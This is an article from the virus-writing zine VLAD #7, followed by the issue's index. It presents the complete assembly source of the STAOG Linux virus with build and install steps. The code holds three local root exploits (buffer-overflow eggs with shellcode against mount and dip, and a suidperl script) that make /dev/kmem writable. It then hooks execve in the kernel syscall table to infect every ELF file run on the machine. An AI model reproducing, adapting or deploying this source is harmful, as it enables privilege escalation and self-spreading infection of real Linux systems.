Virus Labs & Distribution
VLAD #7 - STAOG Linux Virus


#  +-----------------------------------------------------------------+
#  |                            S T A O G                            |
#  |                                                                 |
#  |          yo ho.. welcome to yet another attempt at the          |
#  |        impossible and improbable.  This virus is a fully        |
#  |       resident linux elf infector.  It will infect files        |
#  |           on execute regardless of who executed them.           |
#  |         It achieves this by hacking root via 3 separate         |
#  |     exploits and installing itself in the kernel.  It leaves    |
#  |        no trace of itself in drop files or other noticable      |
#  |          locations but contains no stealth of any type.         |
#  |                                                                 |
#  |       This is not a script virus.  It is written in 100%        |
#  |       at&t style asm.  To compile:                              |
#  |                                                                 |
#  |                   gcc vircode.s -o vircode                      |
#  |                   strip vircode                                 |
#  |                                                                 |
#  |   The filesize should be 4744 bytes.  If not put the filesize   |
#  |        in the .long at 'filesize:' and recompile and strip.     |
#  |          Then execute to install.  After installation the       |
#  |         generated binary will automatically be deleted.         |
#  |                                                                 |
#  |   For some reason this virus will only work on ELF machines     |
#  |       running the 1.2.13 kernel.                                |
#  |                                                                 |
#  |                    Q U A N T U M  /  V L A D                    |
#  +-----------------------------------------------------------------+

.text
.global vircode
vircode:                                  # start of the virus
	pushl $0                          # entry point
	pushl %ebp                        # setup stack frame
	movl %esp,%ebp
	pusha                             # save all regs
	movl $125,%eax                    # make cs writable
	movl $0x8000000,%ebx
	movl $0x4000,%ecx
	movl $7,%edx
	int $0x80
	call recalc                       # dynamic relocation  
recalc:
	pop %edx
	subl $recalc,%edx
	leal vircode(%edx),%eax           # store entrypoint
	movl %eax,4(%ebp)                 

	movl $11,%eax                     # are we already resident ?
	movl $0x666,%ebx
	int $0x80
	cmp $0x667,%ebx
	jnz goresident
	jmp ret2host
goresident:
	movl 12(%ebp),%ebx                # open argv[0]
	xorl %ecx,%ecx
	movl $5,%eax
	int $0x80
	or %eax,%eax
	js ohfuck
	movl %eax,%ebx

	movl $19,%eax                     # seek to vircode
	movl $vircode-main,%ecx           
	subl filesize(%edx),%ecx
	pushl %edx
	movl $2,%edx
	int $0x80
	popl %edx

	subl filesize(%edx),%esp          

	movl $3,%eax                      # read in vircode
	movl %esp,%ecx
	pushl %edx
	movl filesize(%edx),%edx                   
	int $0x80
	popl %edx

	movl $6,%eax                      # close argv
	int $0x80       

	movl $5,%eax                      # open tmp name for virus body
	leal virname(%edx),%ebx
	movl $577,%ecx
	pushl %edx
	movl $448,%edx
	int $0x80
	popl %edx
	movl %eax,%ebx
	
	movl $4,%eax                     # write vircode
	movl %esp,%ecx
	pushl %edx
	movl filesize(%edx),%edx                  
	int $0x80
	popl %edx

	movl $6,%eax                     # close tmp
	int $0x80

	addl filesize(%edx),%esp                  

	movl $2,%eax                         # fork
	int $0x80
	orl %eax,%eax
	jne ret2host

	movl $36,%eax                        # sync
	int $0x80

	leal virname(%edx),%ebx              # exec the virus
	leal virargs(%edx),%ecx
	movl %ebx,(%ecx)
	movl 8(%ebp),%eax
	shll $2,%eax
	leal 16(%ebp),%edx
	addl %eax,%edx
	movl $11,%eax
	int $0x80
	movl $1,%eax
	int $0x80
# return to host
ret2host:
	movl 12(%ebp),%ebx                # open argv[0]
	xorl %ecx,%ecx
	movl $5,%eax
	int $0x80
	or %eax,%eax
	js ohfuck
	movl %eax,%ebx
	movl %esp,%edi                    # allocate space for return frame 
	subl $endstackexecode-stackexecode+50,%edi
	leal stackexecode(%edx),%esi      # copy return frame to stack
	movl $endstackexecode-stackexecode,%ecx
	pushl %edi
	rep
	movsb
	movl $19,%eax                     # move to original bytes in argv[0]
	movl $vircode-main,%ecx
	pushl %edx
	movl $2,%edx
	int $0x80
	popl %edx
	movl $3,%eax                      # ready to read in org bytes 
	leal vircode(%edx),%ecx
	movl $main-vircode,%edx
	ret                               # goto return frame

ohfuck:
	movl $1,%eax
	int $0x80
  
stackexecode:                             # executed on the stack
	int $0x80                         # retreive original bytes
	movl $6,%eax
	int $0x80                         # close file handle
	popa                              # restore all registers
	pop %ebp                          # restore stack
	ret                               # return to host
endstackexecode:

filesize:
.long 4744

st:
.long 0

virname:
.string "/tmp/hookup"

virargs:
.long 0
.long 0

.string "Staog by Quantum / VLAD"

.global main
main:
	movl %esp,%ebp
	movl $11,%eax                     # are we already resident ?
	movl $0x666,%ebx
	int $0x80
	cmp $0x667,%ebx
	jnz goresident1
	jmp tmpend
goresident1:
	movl $125,%eax                    # make cs writable
	movl $0x8000000,%ebx
	movl $0x4000,%ecx
	movl $7,%edx
	int $0x80
	movl $130,%eax                    # get num kernel syms
	movl $0,%ebx
	int $0x80
	shll $6,%eax
	subl %eax,%esp
	movl %esp,%esi
	pushl %eax
	movl %esi,%ebx                    # get kernel syms
	movl $130,%eax
	int $0x80
	pushl %esi      
nextsym1:                                  # find symbol
	movl $thissym1,%edi
	push %esi
	addl $4,%esi
	cmpb $95,(%esi)
	jnz notuscore
	incl %esi
notuscore:
	cmpsl
	cmpsl
	pop %esi
	jz foundsym1
	addl $64,%esi
	jmp nextsym1
foundsym1:
	movl (%esi),%esi
	movl %esi,current
	popl %esi

	pushl %esi      
nextsym2:                                  # find symbol
	movl $thissym2,%edi
	push %esi
	addl $4,%esi
	cmpsl
	cmpsl
	pop %esi
	jz foundsym2
	addl $64,%esi
	jmp nextsym2
foundsym2:
	movl (%esi),%esi
	movl %esi,kmalloc
	popl %esi

	xorl %ecx,%ecx
nextsym:                                  # find symbol
	movl $thissym,%edi
	movb $15,%cl
	push %esi
	addl $4,%esi
	rep 
	cmpsb
	pop %esi
	jz foundsym
	addl $64,%esi
	jmp nextsym
foundsym:
	movl (%esi),%esi
	pop %eax
	addl %eax,%esp

	movl %esi,syscalltable
	xorl %edi,%edi
	
opendevkmem:
	movl $devkmem,%ebx           # open /dev/kmem
	movl $2,%ecx
	call openfile
	orl %eax,%eax
	js haxorroot
	movl %eax,%ebx

	leal 44(%esi),%ecx                # lseek to sys_call_table[SYS_execve]
	call seekfilestart
	
	movl $orgexecve,%ecx         # read in execve pointer
	movl $4,%edx
	call readfile

	leal 488(%esi),%ecx               # seek to sys_call_table[SYS_uname]
	call seekfilestart

	movl $taskptr,%ecx           # read in sys_call_table[SYS_uname]
	movl $4,%edx
	call readfile
	
	movl taskptr,%ecx           # seek to uname code
	call seekfilestart

	subl $endhookspace-hookspace,%esp
	
	movl %esp,%ecx                    # read in org uname bytes
	movl $endhookspace-hookspace,%edx
	call readfile
	
	movl taskptr,%ecx           # seek to uname code
	call seekfilestart

	movl filesize,%eax                # amount to alloc
	addl $virend-vircode,%eax
	movl %eax,virendvircodefilesize

	movl $hookspace,%ecx         # write our code
	movl $endhookspace-hookspace,%edx
	call writefile

	movl $122,%eax                    # call uname to alloc some space
	int $0x80
	movl %eax,codeto
	
	movl taskptr,%ecx                 # seek to uname code
	call seekfilestart

	movl %esp,%ecx                    # write org uname bytes
	movl $endhookspace-hookspace,%edx
	call writefile
	
	addl $endhookspace-hookspace,%esp

	subl $aftreturn-vircode,orgexecve       

	movl codeto,%ecx                  # seek to buffer
	subl %ecx,orgexecve
	call seekfilestart

	movl $vircode,%ecx                # write vircode
	movl $virend-vircode,%edx
	call writefile

	subl filesize,%esp                # read in virus      
	pushl %ebx
	movl 8(%ebp),%ebx
	movl (%ebx),%ebx
	xorl %ecx,%ecx
	call openfile
	movl %eax,%ebx
	leal 4(%esp),%ecx
	movl filesize,%edx                      
	call readfile
	call closefile
	popl %ebx

	movl %esp,%ecx                    # write virus to end of alloc space
	movl filesize,%edx                      
	call writefile

	addl filesize,%esp                      

	leal 44(%esi),%ecx                # seek to sys_call_table[SYS_execve]
	call seekfilestart

	addl $newexecve-vircode,codeto

	movl $codeto,%ecx                 # write pointer to execve handler
	movl $4,%edx
	call writefile

	call closefile                    # close file

tmpend:
	movl 8(%ebp),%ebx                 # rm argv[0]
	movl (%ebx),%ebx
	call rmfile
	call exit

openfile:
	movl $5,%eax
	int $0x80
	ret

closefile:
	movl $6,%eax
	int $0x80
	ret

readfile:
	movl $3,%eax
	int $0x80
	ret

writefile:
	movl $4,%eax
	int $0x80
	ret

seekfilestart:
	movl $19,%eax
	xorl %edx,%edx
	int $0x80
	ret

rmfile:
	movl $10,%eax
	int $0x80
	ret


exit:
	xorl %eax,%eax
	incl %eax
	int $0x80

waitchild:
	movl $7,%eax
	movl $-1,%ebx
	movl $st,%ecx
	xorl %edx,%edx
	int $0x80
	ret



haxorroot:                                # this routine makes /dev/kmem a+wr
	cmpl $3,%edi
	jz ret2host
	movl $2,%eax                      # fork()
	int $0x80
	orl %eax,%eax                     # are we the child or parent
	jnz parent
	xorl %ebx,%ebx                    # close stdin
	call closefile  
	movl $1,%ebx                      # close stdout
	call closefile  
	movl $2,%ebx                      # close stderr
	call closefile
	cmpl $1,%edi                      # try sploit 1
	jz sploit1
	cmpl $2,%edi                      # try sploit 2
	jz sploit2
	movl $2,%eax                      # try sploit 3
	int $0x80                         # fork
	orl %eax,%eax   
	jne notc1
	movl $2,%eax                      # fork
	int $0x80
	orl %eax,%eax
	jne notc2
	movl $4,r
	jmp allgo
notc2:
	call waitchild                    # wait for child
	movl $8,r
	jmp allgo
notc1:
	call waitchild                    # wait for child
	movl $0,r
allgo:
	subl $1029,%esp                   # allocate space for egg
	mov %esp,%edi
	movl $1028-60,%ecx
	subl r,%ecx
	movb $0x90,%al                    # add nops to egg
	rep
	stosb
	movl $execshell,%esi              # add shell to egg
	movl $60,%ecx
	rep
	movsb
	movl %esp,%eax                    # add return address
	addl $1200,%eax
	stosl
	xorl %eax,%eax
	stosb
	movl $11,%eax                     # execute mount sploit
	movl $mountpath,%ebx
	movl $args,%ecx
	movl %esp,4(%ecx)
	movl $env,%edx
	int $0x80
	call exit

execshell:
.string "\xeb\x21\x5b\x31\xc9\x66\xb9\xff\x01\x31\xc0\x88\x43\x09\x88\x43\x14\xb0\x0f\xcd\x80\x31\xc0\xb0\x0a\x8d\x5b\x0a\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xda\xff\xff\xff/dev/kmemx/etc/mtab~"
mountpath:
.string "/sbin/mount"
r:
.long 0
args:
.long mountpath
.long 0
.long 0
env:
.long 0

dipname:
.string "/tmp/t.dip"
execthis:
.string "/bin/sh"
parm1:
.string "-c"
pathdip:
.string "/sbin/dip /tmp/t.dip"
args1:
.long execthis
.long parm1
.long pathdip
.long 0
chkey:
.string "chatkey "
hsname:
.string "/tmp/hs"
hsdat:
.string "#!/bin/sh\nchmod 666 /dev/kmem\n"
shell:
.string "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hs"
sploit1:
	subl $1024,%esp                  # allocate space for egg
	movl %esp,%edi
	movl $chkey,%esi                 # add "chatkey " to egg
	movsl
	movsl
	movl %esp,%eax
	subl $224,%eax                   # add return address to egg
	movl $34,%ecx
	rep
	stosl
	movl $512-144,%ecx               # add nops to egg
	movb $0x90,%al
	rep
	stosb
	movl $shell,%esi                 # add shell to egg
	movl $50,%ecx
	rep
	movsb
	movl $10,%al                     # add \n to egg
	stosb
	movl $dipname,%ebx               # create dip script
	movl $577,%ecx
	movl $448,%edx
	call openfile
	movl %eax,%ebx
	movl %esp,%ecx
	pushl %edx
	movl $562,%edx                   # write script code
	call writefile
	popl %edx
	call closefile        
	movl $hsname,%ebx                # create shell file to execute
	movl $577,%ecx
	movl $448,%edx
	call openfile
	movl %eax,%ebx
	movl $hsdat,%ecx
	movl $30,%edx
	call writefile                   # write shell contents
	call closefile        
	movl $2,%eax                     # fork
	int $0x80
	orl %eax,%eax
	jne p1
	movl $execthis,%ebx              # execute sploit
	movl $args1,%ecx
	movl 12(%ebp),%edx
	movl $11,%eax
	int $0x80
	call exit        
p1:     call waitchild                   # wait for sploit to finish
	movl $dipname,%ebx               # remove dip script
	call rmfile
	movl $hsname,%ebx                # remove shell script
	call rmfile
	call exit

perlname:
.string "/tmp/b"

perldat:
.string "#!/usr/bin/suidperl -U\n$ENV{PATH}=\"/bin:/usr/bin\";\n$>=0;$<=0;\nexec(\"chmod 666 /dev/kmem\");\n"

perlargs:
.long perlname
perlenv:
.long 0

sploit2:
	movl $perlname,%ebx                  # create perl script
	movl $577,%ecx
	movl $488,%edx
	call openfile
	movl %eax,%ebx
	movl $perldat,%ecx                   # write perl contents
	movl $91,%edx
	call writefile
	movl $94,%eax
	movl $2496,%ecx
	int $0x80
	call closefile        
	movl $2,%eax                         # fork
	int $0x80
	orl %eax,%eax
	jne p2
	movl $11,%eax                        # execute the sploit
	movl $perlname,%ebx
	movl $perlargs,%ecx
	movl $perlenv,%edx
	int $0x80
	call exit       
p2:
	call waitchild                       # wait for the child
	movl $perlname,%ebx                  # remove perl script
	call rmfile
	call exit       

parent: 
	incl %edi
	call waitchild  # wait for child process to finish
	jmp opendevkmem

taskptr:
.long 0

otaskptr:
.long 0

codeto:
.long 0

thissym:
.string "sys_call_table"

thissym1:
.string "current"

thissym2:
.string "kmalloc"

devkmem:
.string "/dev/kmem"

e_entry:
.long 0x666

infect:                                   # opens and infects the file in %ebx
	pushl $2                          # open %ebx
	pushl %ebx 
	call 5*4(%ebp)
	popl %ebx
	popl %ebx
	orl %eax,%eax                     # make sure it's opened
	js e1
	movl %eax,%ebx
	push %fs
	push %ds
	pop %fs
	leal e_entry(%edi),%ecx                 # read in elf hdr marker
	movl $4,%edx
	pushl %edx
	pushl %ecx
	pushl %ebx
	call 3*4(%ebp)  
	addl $12,%esp
	cmpl $0x464c457f,e_entry(%edi)          # make sure it's elf
	jnz e2
	pushl $0                                # seek to entrypoint storage
	pushl $24
	pushl %ebx
	call 19*4(%ebp)
	addl $12,%esp
	leal e_entry(%edi),%ecx                 # read the entrypoint
	pushl $4
	pushl %ecx
	pushl %ebx
	call 3*4(%ebp)
	addl $12,%esp
	andl $0xffff,e_entry(%edi)
	movl e_entry(%edi),%ecx               # seek to entrypoint
	pushl $0
	pushl %ecx
	pushl %ebx
	call 19*4(%ebp)
	popl %eax
	popl %eax
	popl %eax
	subl $main-vircode,%esp               # allocate space on the stack
	movl %esp,%esi
	pushl $main-vircode                     # read in host bytes
	pushl %esi
	pushl %ebx
	call 3*4(%ebp)
	addl $12,%esp
	movl vircode(%edi),%eax
	cmpl %eax,(%esi)                        # check if file infected
	jz e3

	pushl $2                                # seek to end of file
	pushl $0
	pushl %ebx
	call 19*4(%ebp) 
	addl $12,%esp
	movl filesize(%edi),%eax
	pushl %eax                              
	leal virend(%edi),%eax                  # write virus body to end
	pushl %eax
	pushl %ebx
	call 4*4(%ebp)
	addl $12,%esp
	pushl $2                                # seek to end of file
	pushl $0
	pushl %ebx
	call 19*4(%ebp) 
	addl $12,%esp
	pushl $main-vircode                   # write org bytes
	pushl %esi
	pushl %ebx
	call 4*4(%ebp)  
	addl $12,%esp
	movl e_entry(%edi),%ecx                 # seek to entrypoint
	pushl $0
	pushl %ecx
	pushl %ebx
	call 19*4(%ebp)
	addl $12,%esp
	leal vircode(%edi),%ecx                 # write virus
	pushl $main-vircode
	pushl %ecx
	pushl %ebx
	call 4*4(%ebp)
	addl $12,%esp
e3:
	addl $main-vircode,%esp               # deallocate space off stack
e2:
	pop %fs
	pushl %ebx
	call 6*4(%ebp)                          # close file
	popl %eax
	call 36*4(%ebp)                         # sync
e1:
	ret

uidsave:
.word 0
euidsave:
.word 0
suidsave:
.word 0
fsuidsave:
.word 0

gidsave:
.word 0
egidsave:
.word 0
sgidsave:
.word 0
fsgidsave:
.word 0

saveuids:
	movl current(%edi),%eax
	movl (%eax),%eax
	leal 0x310(%eax),%esi
	pushl %edi
	leal uidsave(%edi),%edi
	movl $4,%ecx
	rep
	movsl
	popl %edi
	ret

makeroot:
	movl current(%edi),%eax
	movl (%eax),%eax
	pushl %edi
	leal 0x310(%eax),%edi
	xorl %eax,%eax
	movl $4,%ecx
	rep
	stosl
	popl %edi
	ret

loaduids:
	movl current(%edi),%eax
	movl (%eax),%eax
	leal uidsave(%edi),%esi
	pushl %edi
	leal 0x310(%eax),%edi
	movl $4,%ecx
	rep
	movsl
	popl %edi
	ret

.global newexecve
newexecve:
	pushl %ebp
	movl %esp,%ebp
	pushl %ebx
	movl 8(%ebp),%ebx                   # get the filename to infect
	pushal
	cmpl $0x666,%ebx                    # is this our service routine ?
	jnz notserv
	popal
	incl 8(%ebp)                        # yes..inc the pointer and return
	popl %ebx
	popl %ebp
	ret
notserv:
	call ring0recalc                    # no.. calculate ring 0 delta
ring0recalc:
	popl %edi
	subl $ring0recalc,%edi
	movl syscalltable(%edi),%ebp        # put *sys_call_table in %ebp
	call saveuids                       # save the callers uid/euid...
	call makeroot                       # make the caller root
	call infect                         # infect the file
	call loaduids                       # restore the callers uid/euid...
hookoff:
	popal
	popl %ebx
	popl %ebp
.byte   0xe9                                # goto original execve
orgexecve:
.long   0
aftreturn:

syscalltable:
.long 0

current:
.long 0

.global hookspace
hookspace:
	push %ebp
	pushl %ebx
	pushl %ecx
	pushl %edx
	movl %esp,%ebp

	pushl $3
.byte   0x68
virendvircodefilesize:
.long   0
.byte   0xb8               # movl $xxx,%eax     
kmalloc:
.long   0
	call %eax

	movl %ebp,%esp
	popl %edx
	popl %ecx
	popl %ebx
	popl %ebp       
	ret     

.global endhookspace
endhookspace:
.global virend
virend:

- VLAD #7 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

No Flags
ARTICLE.2_2       Goodbye Virus
ARTICLE.2_3       Boot Sector Tutorial
ARTICLE.2_4       STAOG Linux Virus
ARTICLE.2_5       Pow Boot Virus
ARTICLE.2_6       Wulf2
ARTICLE.2_7       Tbscan Internals

ARTICLE.3_1      

VLAD Viruses
ARTICLE.3_2       TVIR600
ARTICLE.3_3       Vecna Boot Virus
ARTICLE.3_4       Padania Virus
ARTICLE.3_5       HooDoo Virus
ARTICLE.3_6       Pandemonium Virus
ARTICLE.3_7       Black Lotus

ARTICLE.4_1      

Zip Virus
ARTICLE.4_2       Archive Infect
ARTICLE.4_3       Virstop Article
ARTICLE.4_4       Boza Makes Bontchev Barf Virus
ARTICLE.4_5       Killer Virus
ARTICLE.4_6       Muraroa End
ARTICLE.4_7       Mages Fury

About VLAD - Links - Contact Us - Main